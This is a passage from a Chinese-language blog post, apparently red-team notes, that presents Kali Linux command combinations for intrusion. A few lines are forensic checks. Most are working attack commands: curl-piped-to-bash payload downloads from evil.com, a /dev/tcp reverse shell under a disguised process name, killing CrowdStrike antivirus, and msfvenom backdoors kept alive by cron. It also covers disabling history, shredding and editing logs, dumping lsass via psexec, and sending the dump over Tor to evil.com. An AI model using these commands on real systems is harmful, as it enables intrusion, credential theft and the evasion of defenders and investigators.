&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比用户列表变化（检测后门账户）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;comm -3 &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;sort /etc/passwd&lt;span class="o"&gt;)&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;sort passwd.bak&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="6"&gt;&lt;strong&gt;6. &lt;code&gt;diff&lt;/code&gt; / &lt;code&gt;vimdiff&lt;/code&gt; - 分析配置变更&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比系统文件是否被篡改（如sshd_config）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;diff /etc/ssh/sshd_config /backup/sshd_config_original
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 可视化对比两个版本Web代码（查找Webshell）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;vimdiff index.php index.php.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="7"&gt;&lt;strong&gt;7. &lt;code&gt;ping&lt;/code&gt; - 快速存活检测&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测内网存活主机（C段探测）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;1..254&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; ping -c1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;bytes from&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="8"&gt;&lt;strong&gt;8. &lt;code&gt;wget&lt;/code&gt; / &lt;code&gt;curl&lt;/code&gt; - 隐蔽传输文件&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载远程Payload并静默执行（无交互）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -s http://evil.com/shell.elf &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 伪装User-Agent下载工具（绕过WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;wget -U &lt;span class="s2"&gt;&amp;#34;Mozilla/5.0&amp;#34;&lt;/span&gt; http://evil.com/nc.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="9"&gt;&lt;strong&gt;9. &lt;code&gt;axel&lt;/code&gt; - 多线程加速下载&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速拖取大型数据库备份文件（数据窃取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;10&lt;/span&gt; http://target.com/database.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="10"&gt;&lt;strong&gt;10. &lt;code&gt;ps&lt;/code&gt; / &lt;code&gt;kill&lt;/code&gt; - 进程管理&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找并杀死防护进程（如AV）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ps aux &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;crowdstrike&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs &lt;span class="nb"&gt;kill&lt;/span&gt; -9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 隐藏进程名启动反向Shell（避免ps暴露）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cp /bin/bash /tmp/.httpd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /tmp/.httpd -c &lt;span class="s2"&gt;&amp;#34;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/1.1.1.1/443 0&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="11"&gt;&lt;strong&gt;11. &lt;code&gt;tail&lt;/code&gt; / &lt;code&gt;watch&lt;/code&gt; - 实时监控日志&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 动态观察Apache错误日志（检测攻击触发情况）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/apache2/error.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;PHP Warning&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 监控新建立的网络连接（反溯源）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;netstat -antup | grep ESTABLISHED&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="12"&gt;&lt;strong&gt;12. &lt;code&gt;history&lt;/code&gt; / &lt;code&gt;alias&lt;/code&gt; - 隐藏操作痕迹&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 禁用历史记录（避免命令泄露）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;unset&lt;/span&gt; HISTFILE&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;HISTFILESIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建高危命令别名（如快速清理日志）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;cleanlogs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find /var/log -type f -exec shred -u {} \;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="13"&gt;&lt;strong&gt;13. &lt;code&gt;jobs&lt;/code&gt; / &lt;code&gt;fg&lt;/code&gt; - 后台任务管理&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 后台运行端口扫描工具（如masscan）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;masscan -p1-65535 10.0.0.0/24 &amp;gt; results.txt &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;jobs&lt;/span&gt; &lt;span class="c1"&gt;# 查看后台任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;fg&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 调回前台继续操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="红队关键技巧"&gt;&lt;strong&gt;红队关键技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;混淆命令&lt;/strong&gt;：使用&lt;code&gt;base64&lt;/code&gt;编码命令避免敏感字符串直接出现：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bHM=&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d &lt;span class="p"&gt;|&lt;/span&gt; bash &lt;span class="c1"&gt;# 执行&amp;#34;ls&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;img alt="image-20250408105852893" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间戳伪造&lt;/strong&gt;：用&lt;code&gt;touch -t&lt;/code&gt;修改文件时间戳躲避时间轴分析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;管道符绕过&lt;/strong&gt;：利用&lt;code&gt;|&lt;/code&gt;、&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;等符号组合命令绕过基础检测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;2025年4月7日 23点52分&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="进阶用法后面会详细讲"&gt;进阶用法（后面会详细讲）
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;2025年4月8日 10点22分&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;以下是在渗透测试和溯源场景中，Kali Linux常用的命令组合与技巧，结合隐蔽性和实战需求整理成五大核心场景：&lt;/p&gt;
&lt;h3 id="1-信息收集与资产探测组合"&gt;&lt;strong&gt;1. 信息收集与资产探测组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;nmap&lt;/code&gt; + &lt;code&gt;grep&lt;/code&gt; + &lt;code&gt;cut&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：快速扫描目标网络并提取关键信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描C段存活主机，提取开放80/443端口的IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sn 192.168.1.0/24 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Nmap scan report&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; -f5 &amp;gt; live_hosts.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap -p80,443 -iL live_hosts.txt -oX scan_results.xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 解析XML扫描结果，提取高危服务（如SSH、RDP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;grep -E &lt;span class="s1"&gt;&amp;#39;portid=&amp;#34;22&amp;#34;|portid=&amp;#34;3389&amp;#34;&amp;#39;&lt;/span&gt; scan_results.xml &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s1"&gt;&amp;#39;\&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2&amp;#34;:&amp;#34;$4}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;br&gt;
• 使用&lt;code&gt;-sn&lt;/code&gt;参数避免触发端口扫描告警&lt;br&gt;
• 结果输出为XML格式便于后续自动化处理&lt;/p&gt;
&lt;h3 id="2-web漏洞利用组合"&gt;&lt;strong&gt;2. Web漏洞利用组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;nikto&lt;/code&gt; + &lt;code&gt;sqlmap&lt;/code&gt; + &lt;code&gt;curl&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：自动化探测Web漏洞并验证利用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目标网站漏洞&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nikto -h http://target.com -output vuln_report.html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测SQL注入并自动化获取数据库信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://target.com/index.php?id=1&amp;#34;&lt;/span&gt; --batch --dbs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 利用漏洞上传Webshell（需结合编码绕过）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;curl -X POST http://target.com/upload.php -F &lt;span class="s2"&gt;&amp;#34;file=@revshell.php&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Mozilla/5.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 在&lt;code&gt;sqlmap&lt;/code&gt;中添加&lt;code&gt;--random-agent&lt;/code&gt;伪装浏览器流量&lt;br&gt;
• 使用&lt;code&gt;base64&lt;/code&gt;编码Webshell内容绕过基础WAF检测&lt;/p&gt;
&lt;h3 id="3-权限维持与后门部署组合"&gt;&lt;strong&gt;3. 权限维持与后门部署组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;msfvenom&lt;/code&gt; + &lt;code&gt;systemctl&lt;/code&gt; + &lt;code&gt;crontab&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：生成隐蔽后门并实现持久化&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成加密的Linux反向Shell Payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p linux/x64/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.1.1.1 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;443&lt;/span&gt; -f elf -o httpd --encrypt xor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 部署后门并伪装为系统服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;mv httpd /usr/sbin/.httpd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod +x /usr/sbin/.httpd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; apache2.service --now &lt;span class="c1"&gt;# 利用合法服务掩护&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 添加定时任务维持权限（每小时连接一次）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;crontab -l 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;0 * * * * /usr/sbin/.httpd&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; crontab -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 使用&lt;code&gt;systemctl&lt;/code&gt;修改服务描述字段掩盖恶意进程&lt;br&gt;
• 定时任务文件路径伪装为&lt;code&gt;/etc/cron.daily/logrotate&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="4-日志清理与反溯源组合"&gt;&lt;strong&gt;4. 日志清理与反溯源组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;sed&lt;/code&gt; + &lt;code&gt;find&lt;/code&gt; + &lt;code&gt;shred&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：擦除攻击痕迹并干扰时间线分析&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除SSH登录失败记录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;/Failed password/d&amp;#39;&lt;/span&gt; /var/log/auth.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 批量清除Web访问日志中本机IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;find /var/log/nginx/ -name &lt;span class="s2"&gt;&amp;#34;access.log*&amp;#34;&lt;/span&gt; -exec sed -i &lt;span class="s1"&gt;&amp;#39;/192.168.1.100/d&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 物理删除临时文件（覆盖7次后销毁）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;find /tmp/ -name &lt;span class="s2"&gt;&amp;#34;*.php&amp;#34;&lt;/span&gt; -exec shred -u -z -n7 &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;br&gt;
• 优先操作日志轮转文件（如&lt;code&gt;auth.log.1&lt;/code&gt;）&lt;br&gt;
• 使用&lt;code&gt;shred&lt;/code&gt;代替&lt;code&gt;rm&lt;/code&gt;彻底破坏文件恢复可能性&lt;/p&gt;
&lt;h3 id="5-内网横向移动组合"&gt;&lt;strong&gt;5. 内网横向移动组合&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;命令工具&lt;/strong&gt;：&lt;code&gt;impacket-psexec&lt;/code&gt; + &lt;code&gt;proxychains&lt;/code&gt; + &lt;code&gt;smbmap&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;用途&lt;/strong&gt;：通过凭证重用突破内网边界&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描内网SMB共享资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;proxychains smbmap -H 10.0.0.5 -u &lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt; -p &lt;span class="s1"&gt;&amp;#39;P@ssw0rd&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 利用PsExec执行远程命令（如抓取内存密码）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;proxychains impacket-psexec admin:&lt;span class="s1"&gt;&amp;#39;P@ssw0rd&amp;#39;&lt;/span&gt;@10.0.0.5 &lt;span class="s2"&gt;&amp;#34;cmd /c rundll32.exe C:\windows\system32\comsvcs.dll MiniDump 648 C:\lsass.dmp full&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通过加密通道回传敏感数据&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;curl --socks5 127.0.0.1:9050 -F &lt;span class="s2"&gt;&amp;#34;file=@lsass.dmp&amp;#34;&lt;/span&gt; https://evil.com/upload
